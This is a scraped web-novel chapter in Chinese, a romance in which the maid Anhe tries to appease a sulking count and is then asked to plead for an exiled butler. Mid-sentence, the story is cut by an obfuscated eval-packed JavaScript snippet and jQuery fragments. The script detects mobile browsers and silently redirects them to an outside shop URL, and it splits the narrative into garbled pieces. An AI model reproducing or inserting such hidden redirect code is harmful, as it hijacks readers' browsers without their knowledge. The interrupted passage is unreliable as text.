46. 赔礼道歉

作品:《伯爵大人今天又恋爱脑了没

    塔尔顿低头看着与霍尔德特玩具工厂签订的契约文件时,余光瞥见一截纤细的手腕正将


    一叠精致的挞派轻轻搁在一旁。


    一股淡淡的、熟悉的香气在靠近时袭来,男人下意识抬起头。


    他看着安禾正咬着嘴唇,一脸忐忑的表情。


    “芙丽丝呢?”


    塔尔顿问道。


    近期书房的茶水点心一直都是芙丽丝负责准备的。


    “嗯......她突然有些不舒服,”安禾小声地解释:“所以拜托我将厨房刚做好的蓝莓挞给您送过来。”


    塔尔顿听到安禾的说辞,忍不住挑了一下眉,光是看着安禾一脸心虚,连和他对视都不敢的表情,塔尔顿微微笑了下,没有拆穿她。


    男人的目光被放置着蓝莓挞旁边的一个奇怪的物件吸引了注意力,那是一条用白色餐巾堆叠而成的,从外观看一只兔子的形状,安禾甚至还用了一条粉色的绸带专门系在那两只兔子耳朵上。这只兔子安静地窝在银质的托盘上,活灵活现,格外俏皮可爱。


    在察觉到塔尔顿的目光落在那条“兔子”餐巾上时,安禾小心翼翼地开口道:“这是我们那里的一种装饰品,通常是放在甜品旁当做摆饰的。”


    说完,安禾紧张地盯着塔尔顿的脸庞,想要从男人听到她的话后看出塔尔顿会有什么反应。


    这是安禾今天思来想去,最后还是决定主动试探的决定。


    与其她现在殚精竭虑地担心塔尔顿会不会猜测到了什么,倒不如她直接抛出问题。而根据她的观察,这里的人从不会在餐桌上将餐巾叠成这种花里胡哨的玩意作为装饰,如果塔尔顿什么反应都没有,短期内她至少不用担心暴露的问题,而如果男人真的起了疑心,问起他为什么从来没见过,安禾也早就想好安全稳妥的回答了。


    她紧绷着脊背,屏息等待着塔尔顿的反应。


    塔尔顿会怎么问?会直接问她的来历吗?


    安禾看着塔尔顿端详了那只“兔子”一会,随后伸手拨弄了下那条将两只兔子耳朵并拢扎在一起的粉色绸带,问道:“这是你亲手叠的吗?”


    “嗯。”


    安禾紧张得连声音都有些变音了,她等待着塔尔顿即将到来的第二个问题。


    “这是赔礼?”


    “嗯......啊?”


    安禾愣了一下,她没预料到塔尔顿会有这么奇怪的关注点,男人完全不合常理的出牌让她有些迷茫地眨了眨眼,犹豫地说道:


    “应该......算,算是吧。”


    她显然没反应过来,赔礼?什么赔礼?她最近做错了什么吗?


    两人就这么大眼瞪小眼地对视了一会,突然。安禾脑海里抓住了什么,她试探性地问道:“嗯,所以您不生气了吧?我当时真不是故意要嘲笑您的。”


    不会吧?安禾有些难以置信地想,难道塔尔顿这几天一直对她避而不见,是在计较她前几天嘲笑他送的那个玩偶缝制手艺的事,一个人躲在这里生闷气?


    不是吧不是吧?!


    塔尔顿淡淡地看了她一眼,没有说话。


    安禾狂汗,不会吧?!还真被她猜对了!


    男人的心眼真是比米粒还小。


    “你怎么不送我一只小猫?”


    塔尔顿突然质问道。


    “......啊?”


    安禾被塔尔顿的话彻底弄糊涂了。什么猫?这不是兔子吗?


    男人又看了一眼安禾,站在他面前的人睁着一双大大的,在阳光下泛着琥珀色的眼睛,眼尾微微上翘,天然透着一股猫科动物的机灵劲和警觉性。


    看着安禾一脸迷茫的脸色,塔尔顿挑了下眉,什么都没解释。


    几分钟后。


    安禾端着那盘丝毫没动过的蓝莓派,迷茫地再一次被请出了门。


    安禾看着面前紧闭的门:“......”


    好消息,塔尔顿好像真的没有注意到她那天话里的失误,坏消息,这个男人从那一天开始就


    在持续生气了。


    到了第二天,安禾特地做了一盘南瓜蛋挞。


    她将蒸熟的南瓜从中间挖空去籽,加入用牛奶、鸡蛋和砂糖用比例调配好的液体放在烤炉里烤制,最后,安禾端着新鲜出炉的南瓜蛋挞去见塔尔顿了。


    男人用银匙舀了一勺中间软嫩的挞芯,在安禾期待的目光下吃了一口,矜持地点头:“味道不错。”


    安禾瞬间亮了眼睛:“那......”


    塔尔顿冲人笑了下,随后安禾又捧着她的南瓜蛋挞出了书房。


    安禾:“......”


    不是,这究竟在搞什么啊?


    安禾疑惑,安禾不解,对着眼前紧闭的房门,安禾攥起拳头,控制不住得也发了脾气,不哄了!爱吃不吃!


    她怒气冲冲地转身下楼,在看见厨房的台面上还放着几个之前烤制失败的南瓜蛋挞时,更加生气了。


    “讨厌鬼,无耻之徒,捉摸不定的混蛋......”安禾一边用刷子用力刷着烤盘上凝固的污渍,一边咬牙切齿地小声嘀咕着。


    “那个,卡琳娜?”


    安禾恶狠狠地用刷子刷着手里的烤盘,在想象着烤盘是塔尔顿的脸庞时下手更加用力了,突然听见背后传来一句细微的声音。


    安禾手上的动作一顿,她疑惑地回头,看到一个从来没有印象的女仆正站在她身后。女孩一头浓密的棕发被编成两条辫子垂在胸前,一双灰蓝色的眼睛有些局促不安地看着安禾,见安禾扭过头,目光落在她脸上时,女孩有些紧张地搅着身前的围裙:“我,我有点事想找你,能请你跟我来外面说一会话吗?”


    安禾仔细地打量了女孩几眼,确定从未见过她,不由得皱眉问道:“请问你是?”


    “那个,我叫汉娜,”女孩不自在地抿了下嘴,下意识垂眼躲避着安禾的目光,过了几秒,她又抬起眼,看着安禾道:“我是在花园负责打理花草的,是......是詹姆斯管家之前把我调去那的。”


    ......


    两人站在隐秘的角落里,安禾看着面前的汉娜,女孩抬头飞快地看了安禾一眼后又迅速垂下眼皮,能看得出是个有些社交恐惧的人。


    汉娜似乎是在找安禾之前就已经想好了说辞,第一句话就让喊安禾僵硬了脸色,“我上周去看过詹姆斯管家了,他现在的状态很不好,应该说是非常糟糕......他,他生了病,而且病的很严重,连医生都说.....詹姆斯管家可能快要不行了。”


    安禾:“......”


    安禾震惊地站在原地,她被汉娜话里的意思冲击地一时没有反应过来。


    直到汉娜终于忍不住,抬手擦掉自己眼里的泪水时,安禾才猛地回过神,焦急地抓住她的手臂问道:“怎么会呢?!詹姆斯管家他,他不是离开庄园没多久吗?!”


    汉娜摇了摇头,脸上浮现出灰败的神色,“自从塔尔顿大人将詹姆斯管家派去拜迪顿庄园之后,他的身体就渐渐变得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404568|199921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不好了,那里很荒凉,什么都没有,吃的也很差,上个月他染上了一场风寒,没有药......医生也没来得及时,拖延到现在都没好。”


    汉娜是在前两年前到的桑菲尔德庄园,她是一个乡下姑娘,呆头呆脑的,最初做事又有些笨手笨脚,因为不善言辞,在这里做下等女仆时受尽了排挤和歧视,汉娜很快就坚持不下去了,她找到詹姆斯管家提出要走。


    是詹姆斯管家劝住了她,替汉娜将工作换到了花园,不用再和人打交道,每天就是修建照料里面的花花草草,尽管女孩后来很少能再见到詹姆斯管家,但一直都对詹姆斯管家心怀感激。


    就连前不久,汉娜听说詹姆斯管家做错了事被塔尔顿大人派到乡下的庄园时,明眼人都知道管家是惹怒了大人才被名义是派去,实则是降职离开了桑菲尔德庄园,现在,所有人连詹姆斯的名字都不敢再轻易提起,只有汉娜才会在休息日时去看望这位曾经帮过她的老人。


    “所以,”汉娜死死揪着裙子,语气带着哭腔地恳求道:“卡琳娜,你能不能,能不能替詹姆斯管家向塔尔顿大人求一下请,让他回来?至少,别让他自己一个人呆在那里了。”


    安禾:“......”


    安禾死死地咬着唇,她明白自己是无法推脱掉这个请求的,毕竟是因为她詹姆斯管家才被牵连其中。


    安禾沉思了一会,用力地点点头:“我知道了,你放心,我一定会想办法的,”她看着汉娜,语气坚定地道:“也请你帮我替詹姆斯管家转告,我从未忘记他之前对我的帮助。”


    在得到了安禾肯定的答复后,汉娜明显松了口气:“谢谢你,卡琳娜,詹姆斯管家的事就麻烦你了,我会等着你的好消息的。我不能离开太久,现在得回去了。”


    “好,你放心,一有消息我就马上告诉你。”安禾承诺道。


    “嗯!”


    汉娜用力地点了下头。


    “哎——汉娜,等一下!”安禾看着汉娜转头疑惑的表情,突然又想到了什么追上前,“你先在这里等我一会,我有东西要交给你!”


    她匆匆叮嘱了汉娜一声,随后便提起裙摆,大踏步从走廊穿过,安禾急急忙忙狂奔回房间,推开门从桌子抽屉里找到了一个巴掌大的黑绒布袋,随后又飞快下了楼。


    “这个给你!”安禾气息不稳地将钱袋塞进汉娜的手里:“这里面有一点钱,虽然不多,但你先拿着,等下次去见詹姆斯管家的时候交给他,也算是我对他的一点补偿,如果后面还需要钱看病要药,请你一定跟我说,我来想办法。”


    安禾交给汉娜的那个黑色绒布钱袋里,装了两银币六铜币,这是她目前所有的积蓄了。在经历被冤枉成小偷的风波后安禾依旧没有放弃另谋赚钱的想法,她后来厚着脸皮找苏珊借了两银币,打算作为今后的“启动资金”。


    “这......”


    汉娜看着手里的钱袋,犹豫了一下。


    “你拿着吧!”


    安禾斩钉截铁地说道:“詹姆斯管家回来的事我会尽快跟大人提的,一有新的消息我就去找你。”


    最后,汉娜还是推脱不下,拿着安禾给她的两银币六铜币感激地离开了。


    安禾独自站在走廊上,她望着汉娜离开的背影,深吸了一口气,随后缓缓吐出。


    好了,现在情况彻底变了,她需要和塔尔顿开口让男人同意詹姆斯管家回来,所以她得抓紧想出个办法,让男人不再生她的气。


    那么,她该怎么办呢?